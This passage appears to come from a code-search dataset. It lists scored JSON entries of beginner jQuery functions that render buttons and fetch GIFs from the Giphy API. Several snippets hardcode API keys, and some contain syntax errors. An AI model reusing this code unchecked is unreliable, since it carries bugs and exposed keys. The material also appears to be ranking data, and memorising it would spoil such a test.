(var i = 0; i < singers.length; i++) {\n var a = $(\"<button>\");\n a.addClass(\"singer-btn\");\n a.attr(\"data-name\", singers[i]);\n a.text(singers[i]);\n $(\"#singers-view\").append(a);\n }\n }", "title": "" }, { "docid": "fc02a20afa7c31ec08e86bdf915eb4d4", "score": "0.56064314", "text": "function renderButtons() {\n\n // Deleting the movie buttons prior to adding new movie buttons\n // (this is necessary otherwise we will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of gifs\n for (var i = 0; i < gifs.length; i++) {\n\n // Then dynamicaly generating buttons for each actor in the array.\n var button = $(\"<button>\");\n // Adding a class\n button.addClass(\"btn btn-outline-secondary gif-button\");\n // Adding a data-attribute with a value of the data-name at index i\n button.attr(\"data-name\", gifs[i]);\n // Providing the button's text with a value of the gif at index i\n button.text(gifs[i]);\n // Adding the button to the HTML\n $(\"#buttons-view\").append(button);\n\n }\n }", "title": "" }, { "docid": "1ae728f1ba551911dca751f76a38d5ec", "score": "0.5604017", "text": "function renderButtons(){ \n\n // // Deletes the movies prior to adding new movies (this is necessary otherwise you will have repeat buttons)\n $('#bandsView').empty();\n\n // Loops through the array of movies\n for (var i = 0; i < bands.length; i++){\n\n // Then dynamicaly generates buttons for each movie in the array\n\n // Note the jQUery syntax here... \n var a = $('<button>') // This code $('<button>') is all jQuery needs to create the beginning and end tag. (<button></button>)\n a.addClass('band'); // Added a class \n a.attr('data-name', bands[i]); // Added a data-attribute\n a.text(bands[i]); // Provided the initial button text\n $('#bandsView').append(a); // Added the button to the HTML\n console.log(\"now\" + bands[i]);\n \n }\n\n\n function buttonDisplay(){\n $('button').on('click', function() {\n // var band = $('#movie-input').val().trim();\n for (var i = 0; i < bands.length; i++){\n // var band = $(this).data(.band)\n // for (var i = 0; i < bands.length; i++){\n // var bands = $(this).data('bands');\n var queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + bands + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n console.log(\"then\" + bands);\n\n \n $.ajax({\n url: queryURL,\n method: 'GET'\n console.log(\"ajax\")\n }\n })\n .done(function(response) {\n // step 1: Run this file, click a button, and see what the data looks like in the browser's console. Open up the Object, then open up the data key, then open up 0. Study the keys and how the JSON is structured.\n\n console.log(queryURL);\n \n \n // step 2: since the image information is inside of the data key then make a variable named results and set it equal to response.data\n\n //------------put step 2 in between these dashes--------------------\n var results = response.data;\n //--------------------------------\n \n for (var i = 0; i < results.length; i++) {\n\n /* step 3: \n * uncomment the for loop above and the closing curly bracket below\n * make a div and reference it in a variable named animalDiv\n * make a paragraph tag and put it in a variable named p\n * set the text of the paragraph to the rating of the image in results[i]\n * make an image and reference it in a variable named animalImage\n * set the image's src to results[i]'s fixed_height.url \n\n * append the p variable to the animalDiv variable\n * append the animalImage variable to the animalDiv variable\n\n * prepend the animalDiv variable to the element with an id of gifsAppearHere\n\n */\n\n //------------put step 3 in between these dashes--------------------\n var bandsDiv = $('<div>');\n\n var p = $('<p>').text(\"Rating: \" + results[i].rating);\n\n var bandsImage = $('<img>');\n bandsImage.attr('src', results[i].images.fixed_height.url);\n\n bandsDiv.append(p);\n bandsDiv.prepend(bandsImage);\n\n $('#gifsAppearHere').prepend(bandsDiv);\n //--------------------------------\n }\n\n \n };\n }\n }\n \nrenderButtons();\n//buttonDisplay();", "title": "" }, { "docid": "96f82ba265ca49ce1f0e8d2b3f68f573", "score": "0.5555699", "text": "function displayButtonGifs() {\n //This line is making a local var userRequest and placing the button name inside of said variable\n var userRequest = $(this).attr(\"button-name\");\n //This is my API key from GHIPY Developers\n var myApi = \"3u7HQLGRJoAsC5pVcaCb93cYkBN01PM8\";\n //This is the queryURL we are using, in this case it is GHIPY API, I set a limit of 10 requested Gifs\n var queryURL = \"https://api.giphy.com/v1/gifs/search?api_key=\" + myApi + \"&q=\" + userRequest + \"&limit=10\";\n\n //This line will clear the gifDisplay container each time user clicks new button to request gifs\n $(\"#gifDisplay\").empty();\n\n\n\n //This is the ajax call to the queryURL, will get data from GIPHY API\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n //This for loop will execute for the length of the data requested from GHIPY API which was limited to 10\n for (var i = 0; i < response.data.length; i++) {\n //This line makes variable to place div inside (this will hold gif and rating)\n gifCard = $(\"<div>\");\n //This line give the div a class= \"card\"\n gifCard.addClass(\"card\");\n //This line places card inside container holding gifs\n $(\"#gifDisplay\").append(gifCard);\n //This line places the gif inside a local variable (still Gif)\n gifStill = response.data[i].images.fixed_height_still.url;\n //This line places the gif inside a local variable (animated Gif)\n gifAnimated = response.data[i].images.fixed_height.url;\n //This line will make a local variable to hold the new image element that holds the displayed gifStill, data-state, data-still, data-animate\n gifContainer = $(\"<img>\").attr(\"src\", gifStill).addClass(\"gif\").attr(\"data-state\", \"still\").attr(\"data-still\", gifStill).attr(\"data-animate\", gifAnimated);\n //This line will append the gif inside the card \n gifCard.append(gifContainer);\n //This line will make a new local variable to hold the new figcaption element that holds the rating\n ratingContainer = $(\"<figcaption>Rating: \" + response.data[i].rating.toUpperCase() + \"</figcaption>\");\n //This line will display the rating after the gif\n gifCard.append(ratingContainer);\n //Test\n console.log(gifContainer);\n };\n //This on click event handler replaces data-still displayed gif to data-animate when user clicks on gif(similar to pause and play)\n $(\".gif\").on(\"click\", function () {\n //This line makes a variable called state that holds the current data-state the gif has when it is clicked\n var state = $(this).attr(\"data-state\");\n //This if statement says that if data-state inside of state variable is equal to \"still\" then run this code block\n if (state === \"still\") {\n //Gets the source url gif and swaps it to the data-animate gif\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n //This sets the data-state to animate, code block ends\n $(this).attr(\"data-state\", \"animate\");\n //If state !== \"still\" then this code block runs\n } else {\n //Gets the source url gif and swaps it to the data-still gif\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n //This sets the data-state to still, code block ends\n $(this).attr(\"data-state\", \"still\");\n }\n });\n });\n }", "title": "" }, { "docid": "9b7d09bd9aca1d99a50fd26d6500b41c", "score": "0.5553043", "text": "function renderButtons() {\n\n\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of gifs\n for (var i = 0; i < instruments.length; i++) {\n\n // Then dynamicaly generating buttons for each gif in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of gif-btn to our button\n a.addClass(\"gif-btn\");\n // Adding a data-attribute\n a.attr(\"data-name\", instruments[i]);\n // Providing the initial button text\n a.text(instruments[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n\n }\n\n}", "title": "" }, { "docid": "c8bc6aa1cf1beeb8fffb240c8a43480f", "score": "0.5547622", "text": "function renderButtons() {\n $(\"#button-container\").empty();\n for(let index = 0; index < giphies.length; index++){\n \tlet button = $(\"<button>\");\n \tbutton.html(giphies[index]);\n \tbutton.addClass(\"giphyButton btn btn-primary\");\n \t$(\"#button-container\").append(button);\n }\n\n }", "title": "" }, { "docid": "9dd8984e3042dfd4b02f9659d2ccf011", "score": "0.5541131", "text": "function renderButtons() {\n // Deleting the buttons prior to adding new movies\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n // Looping through the array of movies\n for (var i = 0; i < giphyPresetButtonsArray.length; i++) {\n // Then dynamically generating buttons for each movie in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var myButton = $(\"<button>\");\n // Adding a class of movie to our button\n myButton.addClass(\"giphy\");\n // Adding a data-attribute\n myButton.attr(\"data-name\", giphyPresetButtonsArray[i]);\n\n //styling\n //myButton.attr(\"type\", \"button\");\n // myButton.addClass(\"btn btn-outline-success\");\n\n // Providing the initial button text\n myButton.text(giphyPresetButtonsArray[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(myButton);\n }\n }", "title": "" }, { "docid": "5608d8315e0dc34bb018c34eecdea2dc", "score": "0.5503239", "text": "function renderButtons() {\n\n // Deleting the buttons prior to adding new giphy buttons\n // (this is necessary otherwise we will have repeat buttons)\n $(\"#btnPlaceholder\").empty();\n\n // Looping through the array of giphs\n for (var i = 0; i < bttfs.length; i++) {\n\n // Then dynamicaly generating buttons for each gif in the array.\n // This code $(\"<button>\") is all jQuery needs to create the start and end tag. (<button></button>)\n var a = $(\"<button>\");\n // adding a button type\n a.attr(\"type\", \"button\");\n // Adding a class\n a.addClass(\"btn btn-default newGifs\");\n // Adding a data-attribute with a value of the gif at index i\n a.attr(\"data-name\", bttfs[i]);\n a.attr(\"id\", \"newSearch\");\n // Providing the button's text with a value of the gif at index i\n a.text(bttfs[i]);\n // Adding the button to the HTML\n $(\"#btnPlaceholder\").append(a);\n\n }\n // Clearing the form field after hitting submit or \"enter\"\n var form = document.getElementById(\"doneso\");\n form.reset();\n\n }", "title": "" }, { "docid": "18042d4c2c87943118f3829baf6904fe", "score": "0.54936296", "text": "function renderButtons() {\n\n // Deleting the gify prior to adding new gify\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-appear-here\").empty();\n\n // Looping through the array of gify\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamicaly generating buttons for each movie in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of movie-btn to our button\n a.addClass(\"gify-btn\");\n // Adding a data-attribute\n a.attr(\"data-person\", topics[i]);\n // Providing the initial button text\n a.text(topics[i]);\n // Adding the button to the gifs-appear-here div\n $(\"#buttons-appear-here\").append(a);\n }\n }", "title": "" }, { "docid": "eacf9ff7898b545b046b7c0b3c6cc49a", "score": "0.5488882", "text": "function renderButtons() {\n $(\"#topics-view\").empty();\n for (var i = 0; i < topics.length; i++) {\n var a = $(\"<button>\");\n //a.addClass(\"topics\");\n a.attr(\"data-name\", topics[i]);\n a.text(topics[i]);\n $(\"#topics-view\").append(a);\n };\n $(\"button\").on(\"click\", function() {\n var animal = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n animal + \"&api_key=KIyENXLtFC9C6ZrDCisfZOa24R3w8Yme&limit=10\";\n event.preventDefault();\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n var results = response.data;\n \n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div1>\");\n \n var rating = results[i].rating;\n \n var p = $(\"<p>\").text(\"Rating: \" + rating);\n \n var animal = $(\"<img>\");\n //animal.attr(\"src\", results[i].images.fixed_height.url);\n animal.attr(\"src\", results[i].images.original_still.url);\n animal.attr(\"data-still\", results[i].images.original_still.url)\n animal.attr(\"data-animate\", results[i].images.original.url)\n animal.attr(\"data-state\", \"still\");\n animal.addClass(\"img-responsive center-block gif\")\n \n gifDiv.prepend(p);\n gifDiv.prepend(animal);\n \n \n $(\"#gif-pic\").prepend(gifDiv);\n $(\"#rating\").html(response);\n }\n $(\"img\").on(\"click\", function() {\n console.log(\"test\"); \n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else if (state === \"animate\") {\n $(this).attr(\"src\", $(this).attr(\"data-still\"))\n $(this).attr(\"data-state\", \"still\");\n }});\n \n })\n }) \n }", "title": "" }, { "docid": "f103ee54981c62c89465b75d248676be", "score": "0.547887", "text": "function renderButtons() {\n\n console.log(\"♫ The Simpsons ♫\"); //make sure renderButtons ran on pageload\n\n // empties the simps-buttons div to prevent accumulating repeated buttons each run\n $(\"#simps-buttons\").empty();\n\n // loop through the 'springfielders' array\n for (var i = 0; i < topics.length; i++) {\n\n var simp = $(\"<button>\"); // generate a button for each character in the array\n \n simp.addClass(\"btn-simp\"); // add attributes \n simp.attr(\"data-character\", topics[i]); // ''\n simp.text(topics[i]); // ''\n\n $(\"#simps-buttons\").append(simp); // add to the buttons div once given all the above attributes\n }\n \n //event function for clicking any character button - - - - - - - - - - - - -\n $(\"button\").on(\"click\", function() {\n var character = $(this).attr(\"data-character\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n character + \"&api_key=dc6zaTOxFJmzC&limit=10&tag=red\"; // \"limit = 10\" so only the first ten gifs are returned; \n //unfortunately giphy API doesn't allow for tag filters in this context, ie. to only return gifs tagged \"simpsons\"\n \n $.ajax({ // AJAX call to Giphy to get gif data\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n\n var gifsArray = response.data; //array of gifs returned by the call \n\n for (var g = 0; g < gifsArray.length; g++) { //loop to return gifs\n var gifDiv = $(\"#gif-div\");\n \n var rating = gifsArray[g].rating;\n\n var p = $(\"<p>\").text(\"Rating: \" + rating); //includes the MPAA rating included in the JSON response\n\n var simpsImage = $(\"<img>\");\n simpsImage.attr(\"src\", gifsArray[g].images.fixed_height.url); //formats the gif from the array (still-image by default)\n \n \n gifDiv.prepend(p); //adds each rating to the beginning of the div (prepend)\n gifDiv.prepend(simpsImage); //ditto each gif\n \n //failed attempt to get click-swapping of pause/play to work:\n\n //$(\".simpsGif\").on(\"click\", function(){\n // console.log(\"click!\");\n // simpsImage.attr(\"src\", gifsArray[g].images.fixed_height_still.url); ---> //gifsArray[g] is undefined here for reasons I can't crack :(\n // });\n }\n }); // end of \"then\"-function\n\n }); // end of on-click event function - - - - - - - - - - - - - - - \n\n } // = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = ", "title": "" }, { "docid": "08673e698d8ca948c77c1437544f9d94", "score": "0.5454658", "text": "function renderButtons() {\n\n// Delete the gif prior to adding new gif\n $(\"#buttons\").empty();\n // Loop through the array of gifs\n for (var i = 0; i < topics.length; i++) {\n // Creating a button tag\n var newButton = $(\"<button>\");\n // Adds a class to button\n newButton.addClass(\"butn\");\n // Added a data-attribute\n newButton.attr(\"data-name\", topics[i]);\n // Provided the initial button text\n newButton.text(topics[i]);\n // Added the button to the buttons div\n $(\"#buttons\").append(newButton);\n }\n }", "title": "" }, { "docid": "c2d5fa154051d0ea1e621a7e82a3810b", "score": "0.54418373", "text": "function render() {\n \n // Deleting the movies prior to adding new movies\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#button-view\").empty();\n \n // Looping through the giphy array\n for (var i = 0; i < topics.length; i++) {\n \n // Then dynamicaly generating buttons for each giphy in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of giphy to our button\n a.addClass(\"giphy-class\");\n // Adding a data-attribute\n a.attr(\"data-name\", topics[i]);\n // Providing the initial button text\n a.text(topics[i]);\n // Adding the button to the buttons-view div\n $(\"#button-view\").append(a);\n }\n }", "title": "" }, { "docid": "32b73768baf6e3e17b4213578ce0f083", "score": "0.543522", "text": "function render() {\n\n // Emptys the button area then makes a new button for each item in the array.\n $(\"#buttonArea\").empty();\n for (var i = 0; i < disaster.length; i++) {\n var newButton = $(\"<button>\");\n newButton.text(disaster[i]);\n newButton.attr(\"data-name\", disaster[i]);\n newButton.addClass(\"wrath\");\n $(\"#buttonArea\").append(newButton);\n };\n\n // When you click wrath button...\n $(\".wrath\").click(function () {\n\n // Emptys the arrays\n animatedURL = [];\n staticURL = [];\n\n // Emptys the area the gifs go in. \n $(\"#gifArea\").empty();\n\n // Plugs the name into the url that will be used with the API\n var replace = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + replace + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n // calls AJAX \n $.ajax({ url: queryURL, method: \"GET\" }).done(function (gif) {\n\n // Logging to the console for debugging\n console.log(gif);\n console.log(queryURL);\n\n // Creates the divs and images and appends them to the page\n for (var i = 0; i < 10; i++) {\n\n animatedURL.push(gif.data[i].images.fixed_height.url);\n staticURL.push(gif.data[i].images.fixed_height_still.url);\n\n var newDiv = $(\"<div>\");\n newDiv.addClass(\"gifDiv\")\n\n var p = $(\"<p>\");\n p.text(gif.data[i].rating);\n\n if (gif.data[i].rating == \"\") {\n p.text(\"n/a\")\n };\n\n var newGif = $(\"<img>\");\n\n newGif.attr(\"data-number\", i)\n newGif.attr(\"src\", gif.data[i].images.fixed_height_still.url);\n\n newDiv.append(p);\n newDiv.append(newGif);\n\n $(\"#gifArea\").append(newDiv);\n\n //creates the play/pause \n newGif.click(function () {\n if ($(this).attr(\"src\") == staticURL[$(this).attr(\"data-number\")]) {\n $(this).attr(\"src\", animatedURL[$(this).attr(\"data-number\")])\n } else {\n $(this).attr(\"src\", staticURL[$(this).attr(\"data-number\")]);\n };\n });\n\n };\n\n });\n\n });\n\n}", "title": "" }, { "docid": "1094e88d4bd1ee94bbe835ad0530348e", "score": "0.54323775", "text": "function renderButtons() {\n $(\"#topics-view\").empty();\n for (var i = 0; i < topics.length; i++) {\n var a = $(\"<button>\");\n a.attr(\"data-name\", topics[i]);\n a.text(topics[i]);\n $(\"#topics-view\").append(a);\n };\n\n //onclick function to poulate gifs when user adds topic, part of renderButtons function\n $(\"button\").on(\"click\", function() {\n var animal = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n animal + \"&api_key=1Ap9PRfNxbH1S8pDXRJkIkh2mwOKmiPR&limit=10\";\n event.preventDefault();\n \n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function(response) {\n var results = response.data;\n \n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div1>\");\n \n var rating = results[i].rating;\n \n var p = $(\"<p>\").text(\"Rating: \" + rating);\n \n var animal = $(\"<img>\");\n\n animal.attr(\"src\", results[i].images.original_still.url);\n animal.attr(\"data-still\", results[i].images.original_still.url)\n animal.attr(\"data-animate\", results[i].images.original.url)\n animal.attr(\"data-state\", \"still\");\n animal.addClass(\"img-responsive center-block gif\")\n \n gifDiv.prepend(p);\n gifDiv.prepend(animal);\n \n \n $(\"#gif-pic\").prepend(gifDiv);\n $(\"#rating\").html(response);\n }\n\n pauseAndStart();\n \n })\n }) \n }", "title": "" }, { "docid": "69d7bcefebb7d960a23578f8cef84cc6", "score": "0.5409766", "text": "function renderButtons() {\n // Deleting the buttons prior to adding new items so there are no repeat buttons\n $(\"#giphyView\").empty();\n $(\".topic-button-placeholder\").empty();\n // Looping through the array of topics\n for (var i = 0; i < topics.length; i++) {\n // Then dynamicaly generating buttons for each gif in the array\n \n var a = $(\"<button>\");\n a.addClass(\"topic-button\"); // Add a class\n a.attr(\"data-name\", topics[i]); // Add a data attribute\n a.text(topics[i]); // Creates button text\n $(\".topic-button-placeholder\").append(a); // append the button to giphs div\n \n }\n }", "title": "" }, { "docid": "955b2c2979da759e44b8e139d53caeb0", "score": "0.54050356", "text": "function updatePage(giphy_data){\n console.log(giphy_data);\n data = giphy_data.data;\n console.log(data[0]);\n \n for(let i=0;i<12;i++){\n let new_gif = $('<img>');\n new_gif.addClass('gif');\n new_gif.addClass('button');\n new_gif.attr('data-still',data[i].images.original_still.url);\n new_gif.attr('data-animate',data[i].images.original.url);\n new_gif.attr('data-state',\"still\");\n new_gif.attr('src',data[i].images.original_still.url);\n console.log(new_gif.attr('src'));\n \n $('.gif_images').append(new_gif);\n }\n \n}", "title": "" }, { "docid": "98bcf4aebacc7c49b38a90c236c84b4d", "score": "0.5396893", "text": "function renderButtons() {\n // so we dont get a bunch of duplicate buttons when you search....\n $(\"#button-div\").empty();\n // loop throught gifs array...\n for (i = 0; i < gifs.length; i++) {\n \n // for each itteration...\n // create button tag...\n var btn = $(\"<button>\");\n // add class gif-btn...\n btn.addClass(\"gif-btn\");\n // add a data-attribute()\n btn.attr(\"data-name\", gifs[i]);\n // add text to the button\n btn.text(gifs[i]);\n // add button to button-div\n $(\"#button-div\").append(btn);\n \n }\n \n }", "title": "" }, { "docid": "1f6ee0fcc712267a607b652897ed1cf5", "score": "0.53907627", "text": "function renderButtons() {\r\n\r\n // Deletes the movies prior to adding new movies\r\n // (this is necessary otherwise you will have repeat buttons)\r\n $(\"#favorite-buttons\").empty();\r\n // Loops through the array of movies\r\n for (var i = 0; i < gifs.length; i++) {\r\n\r\n // Then dynamicaly generates buttons for each movie in the array\r\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\r\n var a = $(\"<button>\");\r\n // Adds a class of movie to our button\r\n a.addClass(\"gif\");\r\n // Added a data-attribute\r\n a.attr(\"data-name\", gifs[i]);\r\n // Provided the initial button text\r\n a.text(gifs[i]);\r\n // Added the button to the buttons-view div\r\n $(\"#favorite-buttons\").append(a);\r\n }\r\n }", "title": "" }, { "docid": "2ed391b6c112fe65fab03d6e67572adb", "score": "0.53771883", "text": "function showPrediction(id){\n currentDay=0;\n document.getElementById('preButton').innerHTML='';\n document.getElementById('nextButton').innerHTML='<button onclick=\"nextButtonClick()\">Next Day</button>';\n axios.get('/api/prediction/'+id).then(response=>{\n predictionData=response.data;\n document.getElementById('prediction-title').innerHTML=weekday[predictionData[currentDay][0].date];\n createHourlyChart(weekday[predictionData[0][0].date],predictionData[0],predictionChart);\n }\n )\n}", "title": "" }, { "docid": "802dbcad1342128111acbec6b09270dd", "score": "0.53738123", "text": "function renderButtons() {\n $('.buttons').empty();\n\n for (var i = 0; i < giphs.length; i++) {\n var a = $('<button id=\"gifBtn\">');\n a.addClass('gif-btn');\n a.addClass('btn btn-primary');\n a.attr('data', giphs[i]);\n a.text(giphs[i]);\n $('.buttons').append(a);\n }\n}", "title": "" }, { "docid": "4477834d0bc51bb9c1c78c69d2eeb530", "score": "0.53734785", "text": "function renderButtons() {\n\n // Deletes the gifs prior to adding new gifs\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n // Loops through the array of gifs\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamicaly generates buttons for each gif in the array\n var a = $(\"<button>\");\n \n a.addClass(\"gifButton btn btn-warning btn-sm\");\n // Added a data-attribute\n a.attr({\n \"data-name\": topics[i],\n });\n // Provided the initial button text\n a.text(topics[i]);\n // Added the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n }", "title": "" }, { "docid": "134c129083251e05c7e8be488110d1b6", "score": "0.5369492", "text": "function renderButtons(next) {\n $('.js-buttons').html(`\n <button class=\"next\" data-next=\"${next}\">Next</button>\n `);\n}", "title": "" }, { "docid": "0ac725e8a0f755230d2c03dfb56cb56d", "score": "0.5366779", "text": "function renderButtons() {\n $(\"#car-buttons\").empty();\n for (i = 0; i < car.length; i++) {\n $(\"#car-buttons\").append(\"<button class='btn btn-primary' data-car='\" + car[i] + \"'>\" + car[i] + \"</button>\");\n }\n $(\"button\").on(\"click\", function () {\n var carGif = $(this).attr(\"data-car\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n carGif + \"&api_key=P78035KzeSFlvtBnDC9EoyNWvLAu6uV1\"\n changeState();\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).done(function (response) {\n var results = response.data;\n $(\"#car\").empty();\n for (var i = 0; i < results.length; i++) {\n var carDiv = $(\"<div>\");\n var p = $(\"<p>\").text(\"Rating: \" + results[i].rating);\n var carImg = $(\"<img>\");\n \n carImg.attr(\"src\", results[i].images.original_still.url);\n carImg.attr(\"data-still\", results[i].images.original_still.url);\n carImg.attr(\"data-animate\", results[i].images.original.url);\n carImg.attr(\"data-state\", \"still\");\n carImg.attr(\"class\", \"gif\");\n carDiv.append(p);\n carDiv.append(carImg);\n $(\"#car\").append(carDiv);\n console.log(carGif)\n }\n });\n });\n }", "title": "" }, { "docid": "8b9ab877220d0e995b3aaa1c042c1d2a", "score": "0.53664243", "text": "function handleButtonClick(event) {\n event.preventDefault();\n var tvShowURLinput = $(this).attr(\"data-show-name\");\n //endcodeURI --> translates spaces in user input into readable string\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + encodeURI(tvShowURLinput) + \"&api_key=EwRRkwAvsMmOUtLpLz92yNlczXJOCBlb&limit=25\";\n console.log(queryURL);\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n console.log(response);\n var results = response.data;\n\n // clear out gif display before displaying next show's gifs \n $(\"#showGifsHere\").empty();\n // loop through object results to display the 12 gifs called\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $(\"<div>\");\n var p = $(\"<p>\");\n var tvShowImage = $(\"<img>\");\n\n p = \"Rating: \" + results[i].rating + \"<br>\";\n tvShowImage.attr(\"src\", results[i].images.fixed_height_still.url);\n\n gifDiv.addClass(\"float-md-left\");\n gifDiv.append(tvShowImage);\n gifDiv.append(\"<br>\" + p);\n\n\n $(\"#showGifsHere\").append(gifDiv);\n };\n });\n}", "title": "" }, { "docid": "df6ac452003bbc6a4d2bdcd3bf595910", "score": "0.5340415", "text": "function renderButtons() {\n\n // Deletes the gifs prior to adding new gifs\n // (this is necessary otherwise you will have repeat buttons)\n $(\".buttons-view\").empty();\n\n\n // Loops through the array of gifs\n for (var i = 0; i < gifs.length; i++) {\n\n // Then dynamicaly generates buttons for each gif in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adds a class of gif to our button\n a.addClass(\"gif\");\n // Added a data-attribute\n a.attr(\"data-name\", gifs[i]);\n // Provided the initial button text\n a.text(gifs[i]);\n // Added the button to the buttons-view div\n $(\".buttons-view\").prepend(a);\n\n }\n }", "title": "" }, { "docid": "e095defbd59ac4e0a0eb2cab781c9c91", "score": "0.53364307", "text": "function displayGiphy() {\n\n $(\"#giphy-view\").empty();\n\n var giphy = $(this).attr(\"data-name\");\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + giphy + \"&limit=9&api_key=dc6zaTOxFJmzC\";\n // Creating an AJAX call for the specific movie button being clicked\n $.ajax({\n url: queryURL,\n method: 'GET'\n }).done(function(response) {\n\n \n for (var i = 0; i < response.data[0].images.downsized_medium.url.length; i++) {\n\n var giphyDiv = $(\"<div class='newGiphy'>\");\n\n var rating = $(\"<p id=rating>\").html(\"Rating: \" + response.data[i].rating);\n\n var animate = response.data[i].images.downsized_medium.url;\n var still = response.data[i].images.downsized_still.url;\n\n var image = $(\"<img>\").attr(\"src\", still);\n image.attr('data-still', still);\n image.attr('data-animate', animate);\n image.attr('data-state', image.data('state') === 'still' ?\n 'animate' :\n 'still');\n image.addClass(\"gif\");\n\n\n giphyDiv.append(rating, image);\n\n\n $(\"#giphy-view\").prepend(giphyDiv);\n event.preventDefault();\n }\n });\n}", "title": "" }, { "docid": "360fe85f88d3945e7a5d9352e1e65a8f", "score": "0.53235227", "text": "render() {\n return (\n <button\n className={this.getStyle()}\n id={`hs-${this.props.artifact}-${this.props.name}`}\n slot={`hotspot-${this.props.artifact}-${this.props.name}`}\n data-position={this.props.dataPosition}\n data-normal={this.props.dataNormal}\n data-visibility-attribute=\"visible\"\n onClick={this.onHSClick}>\n <span className={style.hotSpotSpan}>{this.props.name}</span>\n </button>\n );\n }", "title": "" }, { "docid": "c0398493fb8dbbc34a03f4afa90f2db2", "score": "0.532115", "text": "function renderButtons() {\n\n $(\"#buttons-view\").empty();\n\n// Adding a for loop for animals array for appended buttons\n for (var i = 0; i < animals.length; i++) {\n\n var a = $(\"<button>\");\n\n a.addClass(\"animal\");\n \n a.attr(\"data-person\", animals[i]);\n \n a.text(animals[i]);\n \n $(\"#buttons-view\").append(a);\n\n\n }\n \n// Setting up click buttons for each animal\n $(\"button\").on(\"click\", function(){\n \n console.log(\"clicked\");\n\n var person = $(this).attr(\"data-person\");\n \n\n var queryURL =\"https://api.giphy.com/v1/gifs/search?q=\" + person + \n \"&api_key=yV94fHMPuqKi6PMkpLJQ5d5TxRmxg5of\";\n \n // Calling ajax via jQuery to aquire response data from API\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n \n .then(function(response) {\n \n var results = response.data;\n // Creating for loop for multiple gifs to appear through then function\n for (var i = 0; i < results.length; i++) {\n \n var gifDiv = $(\"<div>\");\n\n \n var rating = results[i].rating;\n \n var p =$(\"<p>\").text(\"Rating: \" + rating)\n \n var personImage = $(\"<img>\");\n \n personImage.attr(\"src\", results[i].images.fixed_height.url);\n personImage.addClass(\"animal\");\n \n gifDiv.prepend(p);\n gifDiv.prepend(personImage);\n \n $(\"#gifs\").prepend(gifDiv);\n \n }\n });\n // Setting animation conditonal for image clicking \n $(\".animal\").on(\"click\", function(){\n\n console.log(\"clicked picture\");\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n\n });\n\n}", "title": "" }, { "docid": "0ad4b61a6e4057a28de4bbae201df7ae", "score": "0.5316313", "text": "function addShow() {\r\n //empty's \r\n $('.buttons').empty();\r\n\r\n for (var i = 0; i < shows.length; ++i) {\r\n // creates buttons and defines their attributes\r\n var showButtons = $('<button type=\"button\" class=\"btn-lg btn-primary\" value = \"\" data-toggle=\"button\" aria-pressed=\"false\" autocomplete=\"off\">' + shows[i] + '</button>');\r\n showButtons.attr('data-name', shows[i]);\r\n showButtons.addClass(\"MYCLASS\");\r\n $('.buttons').append(showButtons);\r\n\r\n }\r\n //creates a click function\r\n $(\".MYCLASS\").on('click', function() {\r\n $('.gifsHere').html(\"\");\r\n //'this' will allow us to target the name attribute of any button that is clicked so that we can input it into the query url for each indiv buttons.\r\n var clickName = $(this).data('name');\r\n //Giphy API key\r\n\r\n var queryURL = 'https://api.giphy.com/v1/gifs/random?api_key=dc6zaTOxFJmzC&tag=\"' + clickName + 